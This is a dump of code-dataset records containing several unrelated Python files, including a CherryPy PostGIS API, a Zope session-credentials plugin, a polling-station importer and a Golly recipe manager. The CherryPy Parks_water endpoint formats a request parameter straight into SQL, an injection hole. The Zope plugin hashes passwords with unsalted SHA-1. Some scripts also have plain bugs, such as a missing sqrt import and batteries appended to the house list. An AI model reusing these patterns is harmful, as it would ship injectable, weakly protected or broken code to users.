self.blockX\n\t\tdy = y - self.blockY\n\t\t\n\t\t#g.note(str((x, y, self.blockX, self.blockY, dx, dy)))\n\t\t\n\t\tif dx >= self.minD and dx <= self.maxX and abs(dy) <= self.maxY:\n\t\t\t\n\t\t\td = min(-3, dx)\n\t\t\tself.MoveBy(d, dx, dy)\n\t\t\t\n\t\telse: \n\t\t\t\n\t\t\tif dy != 0:\n\t\t\t\tdx_dy = int(self.maxY * float(dx) / float(abs(dy)) + 0.5)\n\t\t\telse:\n\t\t\t\tdx_dy = 0 \n\t\t\t\t\n\t\t\tif dy != 0 and abs(dy) > self.maxY and dx_dy <= self.maxX and dx_dy >= self.minD:\n\t\t\t\n\t\t\t\td = min(-3, dx_dy)\n\t\t\t\tself.MoveBy(d, dx_dy, self.maxY * (dy / abs(dy)))\n\t\t\t\tself.Goto(x, y)\n\t\t\t\t\n\t\t\telif dx < self.minD:\n\t\t\t\t\n\t\t\t\tdy_dx = int(self.minD * float(dy) / float(dx) + 0.5)\n\t\t\t\tself.MoveBy(self.minD, self.minD, dy_dx)\n\t\t\t\tself.Goto(x, y)\n\t\t\t\n\t\t\telif dx > self.maxX:\n\t\t\t\t\n\t\t\t\tdy_dx = int(self.maxX * float(dy) / float(dx) + 0.5)\n\t\t\t\tself.MoveBy(-3, self.maxX, dy_dx)\n\t\t\t\tself.Goto(x, y)\n\t\t\t'''\n\t\tif dx < -26:\n\t\t\tif dy >= 101:\n\t\t\t\tself.MoveBy(-23, -23, 101)\n\t\t\t\tself.Goto(x, y)\n\t\t\telif dy <= -101:\n\t\t\t\tself.MoveBy(-23, -23, -101)\n\t\t\t\tself.Goto(x, y)\n\t\t\telif abs(dy) >= abs(dx):\n\t\t\t\n\t\t\t\tif dy < 0:\n\t\t\t\t\tself.MoveBy(-23, -23, -23)\n\t\t\t\telse:\n\t\t\t\t\tself.MoveBy(-23, -23, 23)\n\t\t\t\t\t\n\t\t\t\tself.Goto(x, y)\n\t\t\telse:\n\t\t\t\tself.MoveBy(-23, -23, 1)\n\t\t\t\tself.Goto(x, y)\n\t\t\t\n\t\telif dx < -23:\n\t\t\tif dy >= 101:\n\t\t\t\tself.MoveBy(-11, -11, 101)\n\t\t\t\tself.Goto(x, y)\n\t\t\telif dy <= -101:\n\t\t\t\tself.MoveBy(-11, -11, -101)\n\t\t\t\tself.Goto(x, y)\n\t\t\telse: \n\t\t\t\tself.MoveBy(-11, -11, 1)\n\t\t\t\tself.Goto(x, y)\n\t\t\n\t\telif dx <= 50:\n\t\t\t\n\t\t\td = dx\n\t\t\tdelta = 0 \n\t\t\t\n\t\t\tif d > -3:\n\t\t\t\td = -3\n\t\t\t\n\t\t\tif d < -3:\n\t\t\t\tdelta = d\n\t\t\t\t\n\t\t\tif dy >= 100:\n\t\t\t\tself.MoveBy(d, delta, 100 + delta)\n\t\t\t\tself.Goto(x, y)\n\t\t\telif dy <= -100:\n\t\t\t\tself.MoveBy(d, delta, -100 - delta)\n\t\t\t\tself.Goto(x, y)\n\t\t\telse: \n\t\t\t\tself.MoveBy(d, dx, dy)\n\t\t\t\t\n\t\telse:\n\t\t\t\n\t\t\tif dy >= 100:\n\t\t\t\tself.MoveBy(-3, 50, 100)\n\t\t\t\tself.Goto(x, y)\n\t\t\telif dy <= -100:\n\t\t\t\tself.MoveBy(-3, 50, -100)\n\t\t\t\tself.Goto(x, y)\n\t\t\telse: \n\t\t\t\tself.MoveBy(-3, 50, 0)\n\t\t\t\tself.Goto(x, y)\n\t'''\n\tdef DeleteBlock(self):\n\t\tdelta = self.blockY - self.blockX\n\t\t\n\t\tif delta % 2 == 1:\n\t\t\tdelta -= 1\n\t\t\t\n\t\tself.recipe.append(delta)\n\n\tdef MoveBy(self, d, dx, dy):\n\t\n\t\tdelta = self.blockY - self.blockX\n\t\tisEven = True\n\t\t\n\t\tif (self.blockY + self.blockX) % 2 == 1:\n\t\t\tdelta -= 1\n\t\t\tisEven = False\n\t\t\t\n\t\tif isEven:\n\t\t\trec = self.BlockMoveTableEven[(d, dx, dy)]\n\t\telse:\n\t\t\trec = self.BlockMoveTableOdd[(d, dx, dy + 1)]\n\t\t\n\t\tfor i in rec:\n\t\t\tself.recipe.append(i + delta)\n\t\t\n\t\tself.blockX += dx\n\t\tself.blockY += dy\n\t\tself.sequence.append((d, dx, dy))\n\t\t\n\tdef Init(self, pathEven, pathOdd, pathWss):\n\t\t\n\t\tself.LoadMoveTable(pathEven, True)\n\t\tself.LoadMoveTable(pathOdd, False)\n\t\tself.LoadWssTable(pathWss)\n\n\tdef LoadMoveTable(self, path, isEven):\n\t\tins = open(path, \"r\" )\n\t\tarray = []\n\t\t\n\t\tfor line in ins:\n\t\t\tvals = line.split(\":\")\n\t\t\t\n\t\t\tvals[0] = vals[0].replace(\"m\", \"\")\n\t\t\tvals[0] = vals[0].split(\",\")\n\t\t\t\n\t\t\td = int(vals[0][0])\n\t\t\tx = int(vals[0][1])\n\t\t\ty = int(vals[0][2])\n\t\t\t\n\t\t\tself.minD = min(self.minD, d)\n\t\t\tself.maxY = max(self.maxY, abs(y))\n\t\t\tself.maxX = max(self.maxX, x)\n\t\t\t\n\t\t\t\n\t\t\tvals[1] = vals[1].replace(\"E\", \"\").replace(\"\\n\", \"\").replace(\" \", \"\")\n\t\t\tvals[1] = vals[1].split(\",\")\n\t\t\t\n\t\t\tif vals[1][0] != 'X' and vals[1][0] != '':\n\t\t\t\tfor i in xrange(0, len(vals[1])):\n\t\t\t\t\tvals[1][i] = int(vals[1][i])\n\t\t\t\n\t\t\tif isEven:\n\t\t\t\tself.BlockMoveTableEven[(d, x, y)] = vals[1]\n\t\t\telse:\n\t\t\t\tself.BlockMoveTableOdd[(d, x, y)] = vals[1]\n\t\t\t\n\t\tins.close()\n\t\tself.maxY -= 2\n\t\tself.maxX -= 1\n\t\t\n\tdef LoadWssTable(self, path):\n\t\tins = open(path, \"r\" )\n\t\tarray = []\n\t\t\n\t\tfor line in ins:\n\t\t\tvals = line.split(\":\")\n\t\t\t\n\t\t\tvals[0] = vals[0].replace(\"m\", \"\")\n\t\t\tvals[0] = vals[0].split(\",\")\n\t\t\t\n\t\t\tx = int(vals[0][0])\n\t\t\ty = int(vals[0][1])\n\t\t\t\n\t\t\tvals[1] = vals[1].replace(\"E\", \"\").replace(\"\\n\", \"\").replace(\" \", \"\")\n\t\t\tvals[1] = vals[1].split(\",\")\n\t\t\t\n\t\t\tfor i in xrange(0, len(vals[1])):\n\t\t\t\tvals[1][i] = int(vals[1][i])\n\t\t\n\t\t\tself.WssCreator.append([x, y, vals[1]])\t\n\t\t\t\n\t\tins.close()\n\t\t\ndef FindBestDx(recipes):\n\n\tbestX = -1\n\tbestY = -1\n\tbestRation = -10000\n\tfor x in xrange(-24, -4):\n\t\tfor y in xrange(-50, 51):\n\t\t\tval = recipes.BlockMoveTableEven[(-23, x, y)]\n\t\t\tif val[0] == 'X' or val[0] == '':\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tif -x / len(val) > bestRation:\n\t\t\t\tbestRation = -x / len(val)\n\t\t\t\tbestX = x\n\t\t\t\tbestY = y\n\n\tg.show(str((bestX, bestY)))\n\t\n\n\n","sub_path":"Code/RecipeManager.py","file_name":"RecipeManager.py","file_ext":"py","file_size_in_byte":5083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"235817925","text":"from data_collection.management.commands import BaseShpStationsShpDistrictsImporter\n\n\"\"\"\nLichfield publish their data on data.gov.uk as zipped shp files\n\nI've uploaded the data to Amazon S3 for import purposes\n\nAdditionally there's a hashes only scraper at\nhttps://morph.io/wdiv-scrapers/DC-PollingStations-Lichfield\npolling the URLs to look for changes.\n\"\"\"\n\nclass Command(BaseShpStationsShpDistrictsImporter):\n srid = 27700\n council_id = 'E07000194'\n districts_name = 'local.staffordshire.2017-05-04/Lichfield District Council Polling Districts Shapefile/Lichfield_District_Council_Polling_Districts'\n stations_name = 'local.staffordshire.2017-05-04/LDC_Polling_Stations_Shapefile/Lichfield_District_Council_Polling_Station_Locations.shp'\n elections = ['local.staffordshire.2017-05-04']\n\n def district_record_to_dict(self, record):\n return {\n 'internal_council_id': str(record[4]).strip(),\n 'name': str(record[4]).strip(),\n 'polling_station_id': str(record[4]).strip(),\n }\n\n def station_record_to_dict(self, record):\n address = \"\\n\".join([\n str(record[1]).strip(),\n str(record[4]).strip(),\n ])\n postcode = str(record[5]).strip()\n codes = [record[9].strip(), record[10].strip(), record[11].strip()]\n\n stations = []\n for code in codes:\n if code != b'':\n stations.append({\n 'internal_council_id': str(code),\n 'postcode' : postcode,\n 'address' : address,\n })\n return stations\n","sub_path":"polling_stations/apps/data_collection/management/commands/import_lichfield.py","file_name":"import_lichfield.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"58283283","text":"import os\nimport os.path\nimport psycopg2\nimport json\nimport cherrypy\n\n\nclass DateHelper(object):\n @cherrypy.expose\n def index(self):\n return open('index.html')\n\n\n@cherrypy.expose\nclass Newsagents(object):\n\n def GET(self):\n conn = psycopg2.connect(\"dbname=gisproject user=floofy\")\n cur = conn.cursor()\n cur.execute(\"\"\"\n with MHDtickets as (\n select name, amenity, shop, way from planet_osm_polygon\n where shop = 'newsagent'\n union\n select name, amenity, shop, way from planet_osm_point\n where shop = 'newsagent')\n select ST_AsGeoJSON(st_transform(m.way, 4326))::json from MHDtickets m\n \"\"\")\n listt = []\n while True:\n row = cur.fetchone()\n if row is None:\n break\n else:\n listt.append(row[0])\n print(\"%s\" % row[0])\n reply = json.dumps(listt)\n return reply\n\n\n@cherrypy.expose\nclass Supermarkets(object):\n\n def GET(self):\n conn = psycopg2.connect(\"dbname=gisproject user=floofy\")\n cur = conn.cursor()\n cur.execute(\"\"\"\n with supermarkets as (\n select name, amenity, shop, way from planet_osm_polygon\n where shop = 'supermarket'\n union\n select name, amenity, shop, way from planet_osm_point\n where shop = 'supermarket')\n select ST_AsGeoJSON(st_transform(s.way, 4326))::json from supermarkets s\n \"\"\")\n listt = []\n while True:\n row = cur.fetchone()\n if row is None:\n break\n else:\n listt.append(row[0])\n print(\"%s\" % row[0])\n reply = json.dumps(listt)\n return reply\n\n\n@cherrypy.expose\nclass Flowers(object):\n\n def GET(self):\n conn = psycopg2.connect(\"dbname=gisproject user=floofy\")\n cur = conn.cursor()\n cur.execute(\"\"\"\n with flowers as (\n select name, amenity, shop, way from planet_osm_polygon\n where shop = 'florist'\n union\n select name, amenity, shop, way from planet_osm_point\n where shop = 'florist')\n select ST_AsGeoJSON(st_transform(f.way, 4326))::json from flowers f\n \"\"\")\n listt = []\n while True:\n row = cur.fetchone()\n if row is None:\n break\n else:\n listt.append(row[0])\n print(\"%s\" % row[0])\n reply = json.dumps(listt)\n return reply\n\n\n@cherrypy.expose\nclass Gas(object):\n\n def GET(self):\n conn = psycopg2.connect(\"dbname=gisproject user=floofy\")\n cur = conn.cursor()\n cur.execute(\"\"\"\n with gas as (\n select name, amenity, shop, way from planet_osm_polygon\n where shop = 'fuel'\n union\n select name, amenity, shop, way from planet_osm_point\n where amenity = 'fuel')\n select ST_AsGeoJSON(st_transform(g.way, 4326))::json from gas g\n \"\"\")\n listt = []\n while True:\n row = cur.fetchone()\n if row is None:\n break\n else:\n listt.append(row[0])\n print(\"%s\" % row[0])\n reply = json.dumps(listt)\n return reply\n\n\n@cherrypy.expose\nclass Parks(object):\n\n def GET(self):\n conn = psycopg2.connect(\"dbname=gisproject user=floofy\")\n cur = conn.cursor()\n cur.execute(\"\"\"\n with walkpaths as (\n select name, way, highway from public.planet_osm_line\n where highway = 'path'\n or highway = 'footway'\n ), parks as (\n select name, way, leisure from public.planet_osm_polygon\n where leisure = 'park'\n )\n select ST_AsGeoJSON(ST_Transform(prk.way, 4326))::json from walkpaths p, parks prk\n where st_intersects(p.way, prk.way)\n \"\"\")\n listt = []\n while True:\n row = cur.fetchone()\n if row is None:\n break\n else:\n listt.append(row[0])\n print(\"%s\" % row[0])\n reply = json.dumps(listt)\n return reply\n\n\n@cherrypy.expose\nclass Parks_water(object):\n\n def GET(self, distance=None):\n if distance is None:\n distance = 0\n distance = str(distance)\n conn = psycopg2.connect(\"dbname=gisproject user=floofy\")\n cur = conn.cursor()\n cur.execute(\"\"\"\n with rivers as (\n select name, water, waterway, way from public.planet_osm_line\n where water != ''\n or waterway != ''\n union\n select name, water, waterway, way from public.planet_osm_polygon\n where water != ''\n or waterway != ''\n ),\n parks as (\n select name, way, leisure from public.planet_osm_polygon\n where leisure = 'park'\n )\n select ST_AsGeoJSON(ST_Transform(p.way, 4326))::json from rivers r, parks p\n where ST_DWithin(p.way, r.way, '{0}')\n \"\"\".format(distance))\n listt = []\n while True:\n row = cur.fetchone()\n if row is None:\n break\n else:\n listt.append(row[0])\n print(\"%s\" % row[0])\n reply = json.dumps(listt)\n return reply\n\n\ncherrypy.tree.mount(\n Newsagents(), '/api/newsagents',\n {\n '/':\n {'request.dispatch': cherrypy.dispatch.MethodDispatcher()}\n }\n)\n\ncherrypy.tree.mount(\n Supermarkets(), '/api/supermarkets',\n {\n '/':\n {'request.dispatch': cherrypy.dispatch.MethodDispatcher()}\n }\n)\n\ncherrypy.tree.mount(\n Flowers(), '/api/flowers',\n {\n '/':\n {'request.dispatch': cherrypy.dispatch.MethodDispatcher()}\n }\n)\n\ncherrypy.tree.mount(\n Gas(), '/api/gas',\n {\n '/':\n {'request.dispatch': cherrypy.dispatch.MethodDispatcher()}\n }\n)\n\ncherrypy.tree.mount(\n Parks(), '/api/parks',\n {\n '/':\n {'request.dispatch': cherrypy.dispatch.MethodDispatcher()}\n }\n)\n\ncherrypy.tree.mount(\n Parks_water(), '/api/parks_water',\n {\n '/':\n {'request.dispatch': cherrypy.dispatch.MethodDispatcher()}\n }\n)\n\nif __name__ == '__main__':\n conf = {\n '/': {\n 'tools.sessions.on': True,\n 'tools.staticdir.root': os.path.abspath(os.getcwd())\n },\n '/static': {\n 'tools.staticdir.on': True,\n 'tools.staticdir.dir': './public'\n }\n }\n\n webapp = DateHelper()\n\n cherrypy.quickstart(webapp, '/', conf)\n","sub_path":"cherry.py","file_name":"cherry.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"534656097","text":"\n# Devuelve true si n es primo (sin conocimiento previo)\ndef is_prime_number(n):\n if n < 2:\n return False\n end = int(n**0.5)\n for i in range(2, end+1):\n if n%i == 0:\n return False\n return True\n\n# Devuelve true si n es primo\n# Se apoya en prime_list, que contiene los primos descubiertos\n# hasta el momento\ndef is_prime_from_list(n, prime_list):\n if len(prime_list) == 0:\n return True\n for p in prime_list:\n if n%p == 0:\n return False\n return True\nprime_list = []\n\n\n# Genera todas las permutaciones posibles entre los digitos de r\ndef get_permutations(r):\n if len(r) == 1:\n return [r]\n output = []\n for i in range(0,len(r)):\n resto = r[0:i] + r[i+1:len(r)]\n comb = get_permutations(resto)\n for p in comb:\n l = [r[i]] + p\n # No añade duplicados\n if l not in output:\n output.append(l)\n return output\n\n# Convierte las permutaciones a enteros\ndef array_to_str(array: list) -> int:\n array_n = [str(n) for n in array]\n return int(''.join(array_n))\n\n# Devuelve true si el elemento x está en arr\n# busqueda binaria\ndef is_present(arr, x): \n low = 0\n high = len(arr) - 1\n mid = 0\n if x < arr[0] or x > arr[len(arr)-1]:\n return False\n while low <= high: \n mid = (high + low) // 2\n if x == arr[mid]:\n return True\n if arr[mid] < x: \n low = mid + 1\n elif arr[mid] > x: \n high = mid - 1\n return False\n\n# Devuelve una lista de factores unicos de number\ndef get_factores(number):\n factores = []\n resto = number\n for i in range(2,int(sqrt(number)+1)):\n if resto % i == 0:\n factores.append(i)\n while resto % i == 0:\n resto = resto / i\n if resto == 1:\n return factores\n factores.append(int(resto))\n return factores","sub_path":"auxiliary.py","file_name":"auxiliary.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"311906675","text":"import csv\nfrom code.classes.battery import Battery\nfrom code.classes.house import House\nfrom code.classes.district import District\nimport matplotlib.pyplot as plt\n\n\n\n\nlist_house_objects = []\nlist_battery_objects = []\n\nwith open('data/Huizen&Batterijen/district_1/district-1_batteries.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n id_loop = 1\n for row in csv_reader:\n if line_count == 0:\n print(f'Column names are {\", \".join(row)}')\n line_count += 1\n else:\n print(f'Coordinates are: {row[0]}, Capacity is: {row[1]}.')\n\n coordinates = row[0]\n capacity = row[1]\n list_coordinates = coordinates.split(\",\")\n x_coordinate = int(list_coordinates[0])\n y_coorinate = int(list_coordinates[1])\n\n\n b = Battery(id_loop, x_coordinate, y_coorinate, capacity)\n list_house_objects.append(b)\n\n line_count += 1\n id_loop += 1\n\n print(f'Processed {line_count} lines.')\n\nwith open('data/Huizen&Batterijen/district_1/district-1_houses.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n if line_count == 0:\n #print(f'Column names are {\", \".join(row)}')\n line_count += 1\n else:\n print(f'Coordinates are: {row[0]}, {row[1]}. Output is: {row[2]}.')\n\n x_coordinate = row[0]\n y_coorinate = row[1]\n output = float(row[2])\n print(output)\n\n h = House(x_coordinate, y_coorinate, output)\n list_house_objects.append(h)\n line_count += 1\n\nd = District(list_house_objects,list_battery_objects)\n\n\n#Plotting the batteries and houses\n\n#Creating an empty plot\nx = range(60)\ny = range(60)\nplt.plot(x,y)\nplt.show()\nfig = plt.figure()\nax1 = fig.add_subplot(111)\n\n#Adding batteries\nbatteries = d.batteries\nfor battery in batteries:\n battery.x_coordinate = x\n battery.y_coordinate = y\n print(x, y)\n ax1.scatter(x, y, c=\"r\", label='batteries')\n\n#Adding houses\nhouses = d.houses\nfor house in houses:\n house.x_coordinate = x\n house.y_coordinate = y\n ax1.scatter(x, y, c=\"b\", label='houses')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"330899879","text":"##############################################################################\n#\n# Copyright (c) 2005 Zope Corporation. All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Visible Source\n# License, Version 1.0 (ZVSL). A copy of the ZVSL should accompany this\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE\n#\n##############################################################################\n\nimport sha\n\nimport zope.publisher.interfaces.http\n\nimport zope.app.authentication.session\nimport zope.session.interfaces\nimport zope.app.http.httpdate\n\nclass CredentialsDontMakeSecurityDeclarationsForMe:\n # Credentials class. We use this rather than a dict to prevent\n # leakage to untrusted code. As long as no one is fool enough to\n # make security declarations for this then untrusted code will get\n # forbidden errors trying to access data.\n\n domain = None\n \n def __init__(self, **kw):\n self.__dict__.update(kw)\n\n\nclass SessionCredentialsPlugin(\n zope.app.authentication.session.SessionCredentialsPlugin,\n ):\n\n _fields = ('login', 'login.login'), ('password', 'login.password')\n\n def extractCredentials(self, request):\n \"\"\"Extracts credentials from a session if they exist.\"\"\"\n\n if not zope.publisher.interfaces.http.IHTTPRequest.providedBy(request):\n return None\n\n data = dict((k, request[rk]) for (k, rk) in self._fields\n if rk in request)\n credentials = None\n\n session = zope.session.interfaces.ISession(request)\n\n if len(data) == len(self._fields):\n data['sha'] = sha.new(data.pop('password').encode('utf-8')\n ).hexdigest()\n self.save_credentials(data, session)\n data['logging_in'] = True\n return self._update_cookie(request, data)\n\n sessionData = session.get('zope.app.authentication.browserplugins')\n if sessionData:\n return self._update_cookie(request,\n sessionData.get('credentials').__dict__)\n\n return None\n\n def _update_cookie(self, request, credentials):\n if credentials:\n domain = credentials.get('domain') \n if domain and (request.cookies.get('login.domain') != domain):\n request.response.setCookie(\n 'login.domain', domain,\n expires = 'Wed, 01-Jan-3000 00:00:00 GMT',\n )\n credentials['request-annotations'] = request.annotations\n return credentials\n \n def save_credentials(self, credentials, session=None, request=None):\n if session is None:\n session = zope.session.interfaces.ISession(request)\n sessionData = session['zope.app.authentication.browserplugins']\n sessionData['credentials'] = (\n CredentialsDontMakeSecurityDeclarationsForMe(**credentials)\n )\n\n def logout(self, request):\n self.save_credentials({}, request=request)\n \n def challenge(self, request):\n if 'login.ignore' in request:\n return False\n return super(SessionCredentialsPlugin, self).challenge(request)\n\nclass DomainSessionCredentialsPlugin(SessionCredentialsPlugin):\n\n _fields = SessionCredentialsPlugin._fields + (('domain', 'login.domain'),)\n","sub_path":"Sandbox/J1m/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"613169543","text":"import unittest\nfrom abc import ABC\n\nimport numpy as np\n\nfrom pygibbs.gibbs import hlm\n\n\nclass ConsistencyTest(ABC):\n\n def setUp(self, mod, nres=int(1e3), nobs=int(1e3), nvar=2, tol=(1e-1, 1e-1)):\n\n self.mod = mod\n self.tol = tol\n self.data, self.gt, self.hyper = self.mod._generate_fixture(nres, nobs, nvar)\n\n def test_map(self, niter=int(1e2)):\n\n map = self.mod.estimate(niter, *self.data, *self.hyper)\n for est, true in zip(map[1], self.gt[1]):\n np.testing.assert_allclose(est, true, *self.tol)\n\n def test_pev(self, niter=int(1e2)):\n\n samples = self.mod.sample(niter, *self.data, *self.hyper)\n for est, true in zip([np.mean(x, 0) for x in samples[1]], self.gt[1]):\n np.testing.assert_allclose(est, true, *self.tol)\n\n def test_map_eta(self):\n\n map = self.mod.estimate_eta(self.data, self.gt[1])\n for est, true in zip(map, self.gt[0]):\n np.testing.assert_allclose(est, true, *self.tol)\n\n def test_map_theta(self):\n\n map = self.mod.estimate_theta(self.data, self.gt[0], self.hyper)\n for est, true in zip(map, self.gt[1]):\n np.testing.assert_allclose(est, true, *self.tol)\n\n def test_logmargin(self):\n\n map = self.mod.estimate_theta(self.data, self.gt[0], self.hyper)\n np.testing.assert_allclose(self.mod.eval_logobserved(self.data, map),\n self.mod.eval_loglik(self.data, self.gt[0], map).sum(),\n *self.tol)\n\n\nclass ConsistencyTest_hlm(ConsistencyTest, unittest.TestCase):\n def setUp(self):\n super(ConsistencyTest_hlm, self).setUp(hlm)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/gibbs_tests.py","file_name":"gibbs_tests.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"273322917","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nModule that contains implementation for preferences manager\n\"\"\"\n\nfrom __future__ import print_function, division, absolute_import\n\nimport os\n\nimport metayaml\n\nimport tpDcc as tp\nfrom tpDcc import register\nfrom tpDcc.core import config\nfrom tpDcc.libs.python import decorators, folder\n\n\nclass ConfigsManager(object):\n\n EXTENSION = 'yml'\n\n def __init__(self):\n self._package_configs = dict()\n\n # ============================================================================================================\n # BASE\n # ============================================================================================================\n\n def register_package_path(self, package_name, module_name, config_path, environment='development'):\n \"\"\"\n Registers configurations path for given package\n :param package_name: str, name of the package configuration files belong to\n :param module_name: str, name of the module this configuration belongs to\n :param config_path: str, path where configuration file is located\n \"\"\"\n\n if not config_path or not os.path.isdir(config_path):\n tp.logger.warning(\n 'Configuration Path \"{}\" for package \"{}\" does not exists!'.format(config_path, package_name))\n return\n\n if environment:\n config_path = os.path.join(config_path, environment.lower())\n if not os.path.isdir(config_path):\n tp.logger.warning(\n 'Configuration Folder for environment \"{}\" and package \"{}\" does not exists \"{}\"'.format(\n environment, package_name, config_path))\n return\n\n dcc_name = tp.Dcc.get_name()\n dcc_version = tp.Dcc.get_version_name()\n\n base_config = os.path.join(config_path, module_name)\n dcc_config_path = os.path.join(config_path, dcc_name, module_name)\n dcc_version_config_path = os.path.join(config_path, dcc_name, dcc_version, module_name)\n\n if package_name not in self._package_configs:\n self._package_configs[package_name] = dict()\n if module_name not in self._package_configs[package_name]:\n self._package_configs[package_name][module_name] = dict()\n\n config_extension = self.EXTENSION\n if not config_extension.startswith('.'):\n config_extension = '.{}'.format(config_extension)\n\n self._package_configs[package_name][module_name][environment] = {\n 'base': '{}{}'.format(base_config, config_extension),\n 'dcc': '{}{}'.format(dcc_config_path, config_extension),\n 'dcc_version': '{}{}'.format(dcc_version_config_path, config_extension)\n }\n\n def register_package_configs(self, package_name, config_path):\n \"\"\"\n Tries to find and registers all configuration paths of given path and in the given path\n :param package_name: str\n :param config_path: str\n \"\"\"\n\n config_extension = self.EXTENSION\n if not config_extension.startswith('.'):\n config_extension = '.{}'.format(config_extension)\n\n if not config_path or not os.path.isdir(config_path):\n return\n\n for environment in ['development', 'production']:\n config_files = folder.get_files(\n config_path, full_path=False, recursive=True, pattern='*{}'.format(config_extension))\n if not config_files:\n continue\n module_names = [os.path.splitext(file_path)[0] for file_path in config_files]\n for module_name in module_names:\n self.register_package_path(\n package_name=package_name, config_path=config_path,\n module_name=module_name, environment=environment)\n\n def get_config(self, config_name, package_name=None, root_package_name=None,\n environment=None, config_dict=None, parser_class=None, extra_data=None):\n \"\"\"\n Returns configuration\n :param package_name:\n :param root_package_name:\n :param config_name:\n :param environment:\n :param config_dict:\n :return:\n \"\"\"\n\n if config_dict is None:\n config_dict = dict()\n if extra_data is None:\n extra_data = dict()\n\n if not parser_class:\n parser_class = config.YAMLConfigurationParser\n\n if not package_name:\n package_name = config_name.replace('.', '-').split('-')[0]\n\n config_data = self._get_config_data(\n package_name=package_name, config_name=config_name,\n config_dict=config_dict, root_package_name=root_package_name, environment=environment)\n if config_data is None:\n config_data = dict()\n\n parsed_data = parser_class(config_data).parse()\n extra_data.update(parsed_data)\n new_config = config.DccConfig(config_name=config_name, environment=environment, data=extra_data)\n\n return new_config\n\n def _get_all_package_configs(self, package_name, root_package_name=None, environment=None, skip_non_existent=True):\n \"\"\"\n Internal function that returns a list with all configuration files of given package\n :param package_name: str\n :param root_package_name: str\n :param environment: str\n :param skip_non_existent: bool\n :return: list(dict)\n \"\"\"\n\n module_paths = dict()\n\n if root_package_name and root_package_name not in self._package_configs:\n tp.logger.warning(\n 'Impossible to retrieve package configs because root package: \"{}\" does not exist!'.format(\n root_package_name))\n return module_paths\n\n if package_name not in self._package_configs:\n tp.logger.warning(\n 'Impossible to retrieve package configs because package: \"{}\" does not exist!'.format(\n root_package_name))\n return module_paths\n\n packages_to_loop = list()\n if root_package_name:\n packages_to_loop = [root_package_name]\n packages_to_loop.append(package_name)\n\n for package_name in packages_to_loop:\n for module_name, env_dicts in self._package_configs[package_name].items():\n for env_name, module_dict in env_dicts.items():\n base_path = module_dict.get('base', None)\n dcc_path = module_dict.get('dcc', None)\n dcc_version_path = module_dict.get('dcc_version', None)\n found_paths = list()\n\n if environment and environment.lower() != env_name.lower():\n continue\n\n if skip_non_existent:\n if base_path and os.path.isfile(base_path):\n found_paths.append(base_path)\n if dcc_path and os.path.isfile(dcc_path):\n found_paths.append(dcc_path)\n if dcc_version_path and os.path.isfile(dcc_version_path):\n found_paths.append(dcc_version_path)\n else:\n if base_path:\n found_paths.append(base_path)\n if dcc_path:\n found_paths.append(dcc_path)\n if dcc_version_path:\n found_paths.append(dcc_version_path)\n if not found_paths:\n continue\n if module_name not in module_paths:\n module_paths[module_name] = list()\n\n module_paths[module_name].extend(found_paths)\n\n return module_paths\n\n def _get_config_data(self, package_name, config_name, config_dict, root_package_name=None, environment=None):\n \"\"\"\n Intgernal function that returns data of the given configuration\n :param package_name: str\n :param config_name: str\n :param config_dict: dict\n :param root_package_name: str\n :param environment: str\n :return:\n \"\"\"\n\n if not package_name:\n tp.logger.error('Impossible to find configuration if package is not given!')\n return None\n if not config_name:\n tp.logger.error('Impossible to to find configuration if configuration name is not given!')\n return None\n\n if package_name not in self._package_configs:\n tp.logger.error('No configurations find for package \"{}\"'.format(package_name))\n return None\n\n config_extension = self.EXTENSION\n if not config_extension.startswith('.'):\n config_extension = '.{}'.format(config_extension)\n\n valid_package_configs = self._get_all_package_configs(\n package_name=package_name, root_package_name=root_package_name, environment=environment)\n if not valid_package_configs or config_name not in valid_package_configs:\n # tp.logger.info(\n # 'Impossible to load configuration \"{}\" for package \"{}\" because it does not exists in '\n # 'configuration folders!'.format(config_name, package_name))\n return\n\n module_configs = valid_package_configs[config_name]\n\n # We read the last configuration found: dcc_version > dcc > base\n config_path = module_configs[-1]\n config_data = metayaml.read(module_configs, config_dict)\n if not config_data:\n raise RuntimeError('Configuration file \"{}\" is empty!'.format(config_path))\n\n # We store path where configuration file is located in disk\n if 'config' in config_data and 'path' in config_data['config']:\n raise RuntimeError('Configuration file cannot contains section with path attribute! {}'.format(\n self, config_path))\n if 'config' in config_data:\n config_data['config']['path'] = config_path\n else:\n config_data['config'] = {'path': config_path}\n\n return config_data\n\n\n@decorators.Singleton\nclass ConfigsManagerSingleton(ConfigsManager, object):\n \"\"\"\n Singleton class that holds preferences manager instance\n \"\"\"\n\n def __init__(self):\n ConfigsManager.__init__(self)\n\n\nregister.register_class('ConfigsMgr', 